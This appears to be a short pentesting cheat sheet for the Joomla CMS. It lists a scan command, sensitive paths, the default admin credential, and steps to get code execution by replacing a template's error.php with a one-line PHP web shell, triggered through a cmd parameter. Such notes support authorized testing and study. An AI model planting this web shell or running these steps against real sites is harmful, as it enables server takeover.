# Joomla CMS Pentesting

Joomla is a content management system (CMS).

### Scan <a href="#scan" id="scan"></a>

```
joomscan -u https://example.com
```

### Common Directories <a href="#common-directories" id="common-directories"></a>

```
/administrator/
/administrator/manifests/files/joomla.xml
/cache/
/components/
/configuration.php
/htaccess.txt
/includes/
/index.php
/joomla.xml
/language/en-GB/en-GB.xml
/libraries/
/LICENSE.txt
/logs/
/media/
/modules/
/plugins/
/README.txt
/templates/
/tmp/
/web.config.txt
```

### Default Credentials <a href="#default-credentials" id="default-credentials"></a>

The default username is **"admin"** and no password.

### RCE <a href="#rce" id="rce"></a>

Reference: [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/joomla#rce)

If we have admin credential, we may be able to execute arbitrary code by manipulating the site template.

#### 1. Login as Admin <a href="#id-1-login-as-admin" id="id-1-login-as-admin"></a>

At first, go to `/administrator` page and login with admin credential.

#### 2. Select Template <a href="#id-2-select-template" id="id-2-select-template"></a>

In dashboard, go to template select menu, and click a template name. We can see the list of pages of the template on left menu.\
Here we edit the `error.php` so click it on the left menu.

#### 3. Inject Arbitrary Code <a href="#id-3-inject-arbitrary-code" id="id-3-inject-arbitrary-code"></a>

In the editor for `error.php`, delete the original PHP code and insert arbitrary PHP code such as:

```
<?php system($_GET['cmd']); ?>
```

If we want to get the target shell, we can insert the code for reverse shell. Please see the [Web Reverse Shell](https://exploit-notes.hdks.org/exploit/shell/web-reverse-shell/) page for details.\
After that, click **Save & Close** .

#### 4. Execute <a href="#id-4-execute" id="id-4-execute"></a>

Now access to the template’s `error.php` page as below:

```
https://example.com/templates/<template_name>/error.php
# or
https://example.com/templates/<template_name>/error.php?cmd=whoami
```

### References <a href="#references" id="references"></a>

* [CMDJunkie](https://www.cmsjunkie.com/blog/post/understanding-the-joomla-directory-structure)